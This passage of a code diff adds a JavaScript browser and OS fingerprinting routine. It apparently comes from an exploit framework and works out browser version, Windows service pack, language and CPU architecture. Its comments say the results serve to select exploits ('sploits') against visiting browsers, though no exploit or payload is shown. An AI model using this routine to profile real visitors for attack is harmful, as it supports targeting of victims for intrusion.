+ // Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148
150
+ // Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
151
+ // Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3
152
+
153
+ // Google Chrome has window.google (older versions), window.chromium (older versions), and window.window.chrome (3+)
154
+ if (window.chromium || window.google || window.chrome) {
155
+ ua_name = clients_chrome;
156
+ search = "Chrome";
157
+ } else {
158
+ ua_name = clients_safari;
159
+ search = "Version";
160
+ }
161
+
162
+ platform = navigator.platform.toLowerCase();
163
+ // Just to be a pain, iPod and iPad both leave off "Safari" and
164
+ // "Version" in the UA, see example above. Grab the webkit version
165
+ // instead. =/
166
+ if (platform.match(/ipod/)) {
167
+ os_name = oses_apple_ios;
168
+ os_device = "iPod";
169
+ arch = arch_armle;
170
+ search = "AppleWebKit";
171
+ } else if (platform.match(/ipad/)) {
172
+ os_name = oses_apple_ios;
173
+ os_device = "iPad";
174
+ arch = arch_armle;
175
+ search = "AppleWebKit";
176
+ } else if (platform.match(/iphone/)) {
177
+ os_name = oses_apple_ios;
178
+ os_device = "iPhone";
179
+ arch = arch_armle;
180
+ } else if (platform.match(/macintel/)) {
181
+ os_name = oses_mac_osx;
182
+ arch = arch_x86;
183
+ } else if (platform.match(/linux/)) {
184
+ os_name = oses_linux;
185
+
186
+ if (platform.match(/x86_64/)) {
187
+ arch = arch_x86_64;
188
+ } else if (platform.match(/arm/)) {
189
+ arch = arch_armle;
190
+ } else if (platform.match(/x86/)) {
191
+ arch = arch_x86;
192
+ } else if (platform.match(/mips/)) {
193
+ arch = arch_mipsle;
194
+ }
195
+
196
+ // Android overrides Linux
197
+ if (navigator.userAgent.match(/android/i)) {
198
+ os_name = oses_android;
199
+ }
200
+ } else if (platform.match(/windows/)) {
201
+ os_name = oses_windows;
202
+ }
203
+
204
+ ua_version = this.searchVersion(search, navigator.userAgent);
205
+ if (!ua_version || 0 == ua_version.length) {
206
+ ua_is_lying = true;
207
+ }
208
+ } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
209
+ // Use taintEnabled to identify FF since other recent browsers
210
+ // implement window.getComputedStyle now. For some reason, checking for
211
+ // taintEnabled seems to cause IE 6 to stop parsing, so make sure this
212
+ // isn't IE first.
213
+
214
+ // Also check MozBlobBuilder because FF 9.0.1 does not support taintEnabled
215
+
216
+ // Then this is a Gecko derivative, assume Firefox since that's the
217
+ // only one we have sploits for. We may need to revisit this in the
218
+ // future. This works for multi/browser/mozilla_compareto against
219
+ // Firefox and Mozilla, so it's probably good enough for now.
220
+ ua_name = clients_ff;
221
+ // Thanks to developer.mozilla.org "Firefox for developers" series for most
222
+ // of these.
223
+ // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
224
+ if ('closest' in Element.prototype) {
225
+ ua_version = '35.0';
226
+ } else if ('matches' in Element.prototype) {
227
+ ua_version = '34.0';
228
+ } else if ('RadioNodeList' in window) {
229
+ ua_version = '33.0';
230
+ } else if ('copyWithin' in Array.prototype) {
231
+ ua_version = '32.0';
232
+ } else if ('fill' in Array.prototype) {
233
+ ua_version = '31.0';
234
+ } else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) {
235
+ ua_version = '30.0';
236
+ } else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) {
237
+ ua_version = '29.0';
238
+ } else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
239
+ ua_version = '28.0';
240
+ } else if (css_is_valid('cursor', 'cursor', 'grab')) {
241
+ ua_version = '27.0';
242
+ } else if (css_is_valid('image-orientation',
243
+ 'imageOrientation',
244
+ '0deg')) {
245
+ ua_version = '26.0';
246
+ } else if (css_is_valid('background-attachment',
247
+ 'backgroundAttachment',
248
+ 'local')) {
249
+ ua_version = '25.0';
250
+ } else if ('DeviceStorage' in window && window.DeviceStorage &&
251
+ 'default' in window.DeviceStorage.prototype) {
252
+ // https://bugzilla.mozilla.org/show_bug.cgi?id=874213
253
+ ua_version = '24.0';
254
+ } else if (input_type_is_valid('range')) {
255
+ ua_version = '23.0';
256
+ } else if ('HTMLTimeElement' in window) {
257
+ ua_version = '22.0';
258
+ } else if ('createElement' in document &&
259
+ document.createElement('main') &&
260
+ document.createElement('main').constructor === window['HTMLElement']) {
261
+ ua_version = '21.0';
262
+ } else if ('imul' in Math) {
263
+ ua_version = '20.0';
264
+ } else if (css_is_valid('font-size', 'fontSize', '23vmax')) {
265
+ ua_version = '19.0';
266
+ } else if ('devicePixelRatio' in window) {
267
+ ua_version = '18.0';
268
+ } else if ('createElement' in document &&
269
+ document.createElement('iframe') &&
270
+ 'sandbox' in document.createElement('iframe')) {
271
+ ua_version = '17.0';
272
+ } else if ('mozApps' in navigator && 'install' in navigator.mozApps) {
273
+ ua_version = '16.0';
274
+ } else if ('HTMLSourceElement' in window &&
275
+ HTMLSourceElement.prototype &&
276
+ 'media' in HTMLSourceElement.prototype) {
277
+ ua_version = '15.0';
278
+ } else if ('mozRequestPointerLock' in document.body) {
279
+ ua_version = '14.0';
280
+ } else if ('Map' in window) {
281
+ ua_version = "13.0";
282
+ } else if ('mozConnection' in navigator) {
283
+ ua_version = "12.0";
284
+ } else if ('mozVibrate' in navigator) {
285
+ ua_version = "11.0";
286
+ } else if (css_is_valid('-moz-backface-visibility', 'MozBackfaceVisibility', 'hidden')) {
287
+ ua_version = "10.0";
288
+ } else if ('doNotTrack' in navigator) {
289
+ ua_version = "9.0";
290
+ } else if ('insertAdjacentHTML' in document.body) {
291
+ ua_version = "8.0";
292
+ } else if ('ondeviceorientation' in window && !('createEntityReference' in document)) {
293
+ ua_version = "7.0";
294
+ } else if ('MozBlobBuilder' in window) {
295
+ ua_version = "6.0";
296
+ } else if ('isGenerator' in Function) {
297
+ ua_version = "5.0";
298
+ } else if ('isArray' in Array) {
299
+ ua_version = "4.0";
300
+ } else if (document.readyState) {
301
+ ua_version = "3.6";
302
+ } else if (String.trimRight) {
303
+ ua_version = "3.5";
304
+ } else if (document.getElementsByClassName) {
305
+ ua_version = "3";
306
+ } else if (window.Iterator) {
307
+ ua_version = "2";
308
+ } else if (Array.every) {
309
+ ua_version = "1.5";
310
+ } else {
311
+ ua_version = "1";
312
+ }
313
+ if (navigator.oscpu != navigator.platform) {
314
+ ua_is_lying = true;
315
+ }
316
+ // oscpu is unaffected by changes in the useragent and has values like:
317
+ // "Linux i686"
318
+ // "Windows NT 6.0"
319
+ // haven't tested on 64-bit Windows
320
+ version = navigator.oscpu;
321
+ if (version.match(/i.86/)) {
322
+ arch = arch_x86;
323
+ }
324
+ if (version.match(/x86_64/)) {
325
+ arch = arch_x86_64;
326
+ }
327
+ if (version.match(/Windows/)) {
328
+ os_name = oses_windows;
329
+ // Technically these will mismatch server OS editions, but those are
330
+ // rarely used as client systems and typically have the same exploit
331
+ // characteristics as the associated client.
332
+ switch(version) {
333
+ case "Windows NT 5.0": os_name = "Windows 2000"; break;
334
+ case "Windows NT 5.1": os_name = "Windows XP"; break;
335
+ case "Windows NT 5.2": os_name = "Windows 2003"; break;
336
+ case "Windows NT 6.0": os_name = "Windows Vista"; break;
337
+ case "Windows NT 6.1": os_name = "Windows 7"; break;
338
+ case "Windows NT 6.2": os_name = "Windows 8"; break;
339
+ case "Windows NT 6.3": os_name = "Windows 8.1"; break;
340
+ }
341
+ }
342
+ if (version.match(/Linux/)) {
343
+ os_name = oses_linux;
344
+ }
345
+ // end navigator.oscpu checks
346
+ } else if (typeof ScriptEngineMajorVersion == "function") {
347
+ // Then this is IE and we can very reliably detect the OS.
348
+ // Need to add detection for IE on Mac. Low priority, since we
349
+ // don't have any sploits for it yet and it's a very low market
350
+ // share.
351
+ os_name = oses_windows;
352
+ ua_name = clients_ie;
353
+ version_maj = ScriptEngineMajorVersion().toString();
354
+ version_min = ScriptEngineMinorVersion().toString();
355
+ version_build = ScriptEngineBuildVersion().toString();
356
+
357
+ version = version_maj + version_min + version_build;
358
+
359
+ //document.write("ScriptEngine: "+version+"<br />");
360
+ switch (version){
361
+ case "514615":
362
+ // IE 5.00.2920.0000, 2000 Advanced Server SP0 English
363
+ ua_version = "5.0";
364
+ os_name = "Windows 2000";
365
+ os_sp = "SP0";
366
+ break;
367
+ case "515907":
368
+ os_name = "Windows 2000";
369
+ os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109
370
+ break;
371
+ case "518513":
372
+ os_name = "Windows 2000";
373
+ os_sp = "SP4";
374
+ break;
375
+ case "566626":
376
+ // IE 6.0.2600.0000, XP SP0 English
377
+ // IE 6.0.2800.1106, XP SP1 English
378
+ ua_version = "6.0";
379
+ os_name = "Windows XP";
380
+ os_sp = "SP0";
381
+ break;
382
+ case "568515":
383
+ // IE 6.0.3790.0, 2003 Standard SP0 English
384
+ ua_version = "6.0";
385
+ os_name = "Windows 2003";
386
+ os_sp = "SP0";
387
+ break;
388
+ case "568820":
389
+ // IE 6.0.2900.2180, xp sp2 english
390
+ os_name = "Windows XP";
391
+ os_sp = "SP2";
392
+ break;
393
+ case "568827":
394
+ os_name = "Windows 2003";
395
+ os_sp = "SP1";
396
+ break;
397
+ case "568831": //XP SP2 -OR- 2K SP4
398
+ if (os_name == "2000"){
399
+ os_sp = "SP4";
400
+ }
401
+ else{
402
+ os_name = "Windows XP";
403
+ os_sp = "SP2";
404
+ }
405
+ break;
406
+ case "568832":
407
+ os_name = "Windows 2003";
408
+ os_sp = "SP2";
409
+ break;
410
+ case "568837":
411
+ // IE 6.0.2900.2180, XP Professional SP2 Korean
412
+ ua_version = "6.0";
413
+ os_name = "Windows XP";
414
+ os_sp = "SP2";
415
+ break;
416
+ case "5716599":
417
+ // IE 7.0.5730.13, XP Professional SP3 English
418
+ // IE 6.0.2900.5512, XP Professional SP3 English
419
+ // IE 6.0.2900.5512, XP Professional SP3 Spanish
420
+ //
421
+ // Since this scriptengine applies to more than one major version of
422
+ // IE, rely on the object detection below to determine ua_version.
423
+ //ua_version = "6.0";
424
+ os_name = "Windows XP";
425
+ os_sp = "SP3";
426
+ break;
427
+ case "575730":
428
+ // IE 7.0.5730.13, Server 2003 Standard SP2 English
429
+ // IE 7.0.5730.13, Server 2003 Standard SP1 English
430
+ // IE 7.0.5730.13, XP Professional SP2 English
431
+ // Rely on the user agent matching above to determine the OS.
432
+ // This will incorrectly identify 2k3 SP1 as SP2
433
+ ua_version = "7.0";
434
+ os_sp = "SP2";
435
+ break;
436
+ case "5718066":
437
+ // IE 7.0.5730.13, XP Professional SP3 English
438
+ ua_version = "7.0";
439
+ os_name = "Windows XP";
440
+ os_sp = "SP3";
441
+ break;
442
+ case "5722589":
443
+ // IE 7.0.5730.13, XP Professional SP3 English
444
+ ua_version = "7.0";
445
+ os_name = "Windows XP";
446
+ os_sp = "SP3";
447
+ break;
448
+ case "576000":
449
+ // IE 7.0.6000.16386, Vista Ultimate SP0 English
450
+ ua_version = "7.0";
451
+ os_name = "Windows Vista";
452
+ os_sp = "SP0";
453
+ break;
454
+ case "580":
455
+ // IE 8.0.7100.0, Windows 7 English
456
+ // IE 8.0.7100.0, Windows 7 64-bit English
457
+ case "5816385":
458
+ // IE 8.0.7600.16385, Windows 7 English
459
+ case "5816475":
460
+ case "5816762":
461
+ // IE 8.0.7600.16385, Windows 7 English
462
+ ua_version = "8.0";
463
+ os_name = "Windows 7";
464
+ os_sp = "SP0";
465
+ break;
466
+ case "5817514":
467
+ // IE 8.0.7600.17514, Windows 7 SP1 English
468
+ ua_version = "8.0";
469
+ os_name = "Windows 7";
470
+ os_sp = "SP1";
471
+ break;
472
+ case "5818702":
473
+ // IE 8.0.6001.18702, XP Professional SP3 English
474
+ case "5822960":
475
+ // IE 8.0.6001.18702, XP Professional SP3 Greek
476
+ ua_version = "8.0";
477
+ os_name = "Windows XP";
478
+ os_sp = "SP3";
479
+ break;
480
+ case "9016406":
481
+ // IE 9.0.7930.16406, Windows 7 64-bit
482
+ ua_version = "9.0";
483
+ os_name = "Windows 7";
484
+ os_sp = "SP0";
485
+ break;
486
+ case "9016441":
487
+ // IE 9.0.8112.16421, Windows 7 32-bit English
488
+ ua_version = "9.0";
489
+ os_name = "Windows 7";
490
+ os_sp = "SP1";
491
+ break;
492
+ case "9016443":
493
+ // IE 9.0.8112.16421, Windows 7 Polish
494
+ // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
495
+ ua_version = "9.0";
496
+ os_name = "Windows 7";
497
+ os_sp = "SP1";
498
+ break;
499
+ case "9016446":
500
+ // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988)
501
+ // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)
502
+ ua_version = "9.0";
503
+ os_name = "Windows 7";
504
+ os_sp = "SP1";
505
+ break;
506
+ case "9016464":
507
+ // browsershots.org, MSIE 7.0 / Windows 2008 R2
508
+ os_name = "Windows 2008 R2";
509
+ ua_version = "9.0";
510
+ break;
511
+ case "9016470":
512
+ // IE 9.0.8112.16421 / Windows 7 SP1
513
+ ua_version = "9.0";
514
+ os_name = "Windows 7";
515
+ os_sp = "SP1";
516
+ break;
517
+ case "9016502":
518
+ // IE 9.0.8112.16502 / Windows 7 SP1
519
+ ua_version = "9.0";
520
+ os_name = "Windows 7";
521
+ os_sp = "SP1";
522
+ break;
523
+ case "9016506":
524
+ // IE 9.0.8112.16506 / Windows 7 SP1
525
+ ua_version = "9.0";
526
+ os_name = "Windows 7";
527
+ os_sp = "SP1";
528
+ break;
529
+ case "9016514":
530
+ // IE 9.0.8112.16514 / Windows 7 SP1
531
+ ua_version = "9.0";
532
+ os_name = "Windows 7";
533
+ os_sp = "SP1";
534
+ break;
535
+ case "9016520":
536
+ // IE 9.0.8112.16520 / Windows 7 SP1
537
+ ua_version = "9.0";
538
+ os_name = "Windows 7";
539
+ os_sp = "SP1";
540
+ break;
541
+ case "9016526":
542
+ // IE 9.0.8112.16526 / Windows 7 SP1
543
+ ua_version = "9.0";
544
+ os_name = "Windows 7";
545
+ os_sp = "SP1";
546
+ break;
547
+ case "9016533":
548
+ // IE 9.0.8112.16533 / Windows 7 SP1
549
+ ua_version = "9.0";
550
+ os_name = "Windows 7";
551
+ os_sp = "SP1";
552
+ break;
553
+ case "10016720":
554
+ // IE 10.0.9200.16721 / Windows 7 SP1
555
+ ua_version = "10.0";
556
+ os_name = "Windows 7";
557
+ os_sp = "SP1";
558
+ break;
559
+ case "11016428":
560
+ // IE 11.0.9600.16428 / Windows 7 SP1
561
+ ua_version = "11.0";
562
+ os_name = "Windows 7";
563
+ os_sp = "SP1";
564
+ break;
565
+ case "10016384":
566
+ // IE 10.0.9200.16384 / Windows 8 x86
567
+ ua_version = "10.0";
568
+ os_name = "Windows 8";
569
+ os_sp = "SP0";
570
+ break;
571
+ case "11016426":
572
+ // IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English
573
+ ua_version = "11.0";
574
+ os_name = "Windows 8.1";
575
+ break;
576
+ case "1000":
577
+ // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
578
+ ua_version = "10.0";
579
+ os_name = "Windows 8";
580
+ os_sp = "SP0";
581
+ break;
582
+ case "1100":
583
+ // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
584
+ ua_version = "11.0";
585
+ os_name = "Windows 10";
586
+ os_sp = "SP0";
587
+ break;
588
+ default:
589
+ unknown_fingerprint = version;
590
+ break;
591
+ }
592
+
593
+ if (!ua_version) {
594
+ // The ScriptEngine functions failed us, try some object detection
595
+ if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
596
+ // IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
597
+ try {
598
+ if (document.__proto__ != undefined) { ua_version = "11.0"; }
599
+ } catch (e) {}
600
+
601
+ // IE 10 detection using nodeName
602
+ if (!ua_version) {
603
+ try {
604
+ var badNode = document.createElement && document.createElement("badname");
605
+ if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
606
+ } catch(e) {}
607
+ }
608
+
609
+ // IE 9 detection based on a "Object doesn't support property or method" error
610
+ if (!ua_version) {
611
+ try {
612
+ document.BADNAME();
613
+ } catch(e) {
614
+ if (e.message.indexOf("BADNAME") > 0) {
615
+ ua_version = "9.0";
616
+ }
617
+ }
618
+ }
619
+
620
+ // IE8 detection straight from IEBlog. Thank you Microsoft.
621
+ if (!ua_version) {
622
+ try {
623
+ ua_version = "8.0";
624
+ document.documentElement.style.display = "table-cell";
625
+ } catch(e) {
626
+ // This executes in IE7,
627
+ // but not IE8, regardless of mode
628
+ ua_version = "7.0";
629
+ }
630
+ }
631
+ } else if (document.compatMode) {
632
+ ua_version = "6.0";
633
+ } else if (window.createPopup) {
634
+ ua_version = "5.5";
635
+ } else if (window.attachEvent) {
636
+ ua_version = "5.0";
637
+ } else {
638
+ ua_version = "4.0";
639
+ }
640
+ switch (navigator.appMinorVersion){
641
+ case ";SP2;":
642
+ os_sp = "SP2";
643
+ break;
644
+ }
645
+ }
646
+ }
647
+
648
+ if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; }
649
+
650
+ //--
651
+ // Figure out the type of Windows
652
+ //--
653
+ if (!ua_is_lying) {
654
+ version = useragent.toLowerCase();
655
+ } else if (navigator.oscpu) {
656
+ // Then this is Gecko and we can get at least os_name without the
657
+ // useragent
658
+ version = navigator.oscpu.toLowerCase();
659
+ } else {
660
+ // All we have left is the useragent and we know it's lying, so don't bother
661
+ version = " ";
662
+ }
663
+ if (!os_name || 0 == os_name.length) {
664
+ if (version.indexOf("windows") != -1) { os_name = oses_windows; }
665
+ else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; }
666
+ else if (version.indexOf("linux") != -1) { os_name = oses_linux; }
667
+ }
668
+ if (os_name == oses_windows) {
669
+ if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; }
670
+ else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; }
671
+ else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; }
672
+ else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; }
673
+ else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; }
674
+ else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; }
675
+ else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003"; }
676
+ else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; }
677
+ else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; }
678
+ else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; }
679
+ else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; }
680
+ }
681
+ if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) {
682
+ if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; }
683
+ else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; }
684
+ else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; }
685
+ else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; }
686
+ else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; }
687
+ else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; }
688
+ else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; }
689
+ else if (version.indexOf("android") != -1) { os_vendor = "Android"; }
690
+ }
691
+
692
+ //--
693
+ // Language
694
+ //--
695
+ if (navigator.systemLanguage) {
696
+ // ie
697
+ os_lang = navigator.systemLanguage;
698
+ } else if (navigator.language) {
699
+ // gecko derivatives, safari, opera
700
+ os_lang = navigator.language;
701
+ } else {
702
+ // some other browser and we don't know how to get the language, so
703
+ // just guess english
704
+ os_lang = "en";
705
+ }
706
+
707
+ //--
708
+ // Architecture
709
+ //--
710
+ if (typeof(navigator.cpuClass) != 'undefined') {
711
+ // Then this is IE or Opera9+ and we can grab the arch directly
712
+ switch (navigator.cpuClass) {
713
+ case "x86":
714
+ arch = arch_x86;
715
+ break;
716
+ case "x64":
717
+ arch = arch_x86_64;
718
+ break;
719
+ }
720
+ }
721
+ if (!arch || 0 == arch.length) {
722
+ // We don't have the handy-dandy navagator.cpuClass, so infer from
723
+ // platform
724
+ version = navigator.platform;
725
+ //document.write(version + "\\n");
726
+ // IE 8 does a bit of wacky user-agent switching for "Compatibility View";
727
+ // 64-bit client on Windows 7, 64-bit:
728
+ // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)
729
+ // 32-bit client on Windows 7, 64-bit:
730
+ // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
731
+ // 32-bit client on Vista, 32-bit, "Compatibility View":
732
+ // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
733
+ //
734
+ // Report 32-bit client on 64-bit OS as being 32 because exploits will
735
+ // need to know the bittedness of the process, not the OS.
736
+ if ( ("Win32" == version) || (version.match(/i.86/)) ) {
737
+ arch = arch_x86;
738
+ } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
739
+ arch = arch_x86_64;
740
+ } else if (-1 != version.indexOf('PPC')) {
741
+ arch = arch_ppc;
742
+ }
743
+ }
744
+
745
+ this.ua_is_lying = ua_is_lying;
746
+ this.os_name = os_name;
747
+ this.os_vendor = os_vendor;
748
+ this.os_flavor = os_flavor;
749
+ this.os_device = os_device;
750
+ this.os_sp = os_sp;
751
+ this.os_lang = os_lang;
752
+ this.arch = arch;
753
+ this.ua_name = ua_name;
754
+ this.ua_version = ua_version;
755
+ this.ua_version = ua_version;
756
+
757
+ return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
758
+ }; // function getVersion
759
+
760
+ os_detect.searchVersion = function(needle, haystack) {
761
+ var index = haystack.indexOf(needle);
762
+ var found_version;
763
+ if (index == -1) { return; }
764
+ found_version = haystack.substring(index+needle.length+1);
765
+ if (found_version.indexOf(' ') != -1) {
766
+ // Strip off any junk at the end such as a CLR declaration
767
+ found_version = found_version.substring(0,found_version.indexOf(' '));
768
+ }
769
+ return found_version;
770
+ };
771
+
772
+
773
+ /*
774
+ * Return -1 if a < b, 0 if a == b, 1 if a > b
775
+ */
776
+ ua_ver_cmp = function(ver_a, ver_b) {
777
+ // shortcut the easy case
778
+ if (ver_a == ver_b) {
779
+ return 0;
780
+ }
781
+
782
+ a = ver_a.split(".");
783
+ b = ver_b.split(".");
784
+ for (var i = 0; i < Math.max(a.length, b.length); i++) {
785
+ // 3.0 == 3
786
+ if (!b[i]) { b[i] = "0"; }
787
+ if (!a[i]) { a[i] = "0"; }
788
+
789
+ if (a[i] == b[i]) { continue; }
790
+
791
+ a_int = parseInt(a[i]);
792
+ b_int = parseInt(b[i]);
793
+ a_rest = a[i].substr(a_int.toString().length);
794
+ b_rest = b[i].substr(b_int.toString().length);
795
+ if (a_int < b_int) {
796
+ return -1;
797
+ } else if (a_int > b_int) {
798
+ return 1;
799
+ } else { // ==
800
+ // Then we need to deal with the stuff after the ints, e.g.:
801
+ // "b4pre"
802
+ if (a_rest == "b" && b_rest.length == 0) {
803
+ return -1;
804
+ }
805
+ if (b_rest == "b" && a_rest.length == 0) {
806
+ return 1;
807
+ }
808
+ // Just give up and try a lexicographical comparison
809
+ if (a_rest < b_rest) {
810
+ return -1;
811
+ } else if (a_rest > b_rest) {
812
+ return 1;
813
+ }
814
+ }
815
+ }
816
+ // If we get here, they must be equal
817
+ return 0;
818
+ };
819
+
820
+ ua_ver_lt = function(a, b) {
821
+ if (-1 == this.ua_ver_cmp(a,b)) { return true; }
822
+ return false;
823
+ };
824
+ ua_ver_gt = function(a, b) {
825
+ if (1 == this.ua_ver_cmp(a,b)) { return true; }
826
+ return false;
827
+ };
828
+ ua_ver_eq = function(a, b) {
829
+ if (0 == this.ua_ver_cmp(a,b)) { return true; }
830
+ return false;
831
+ };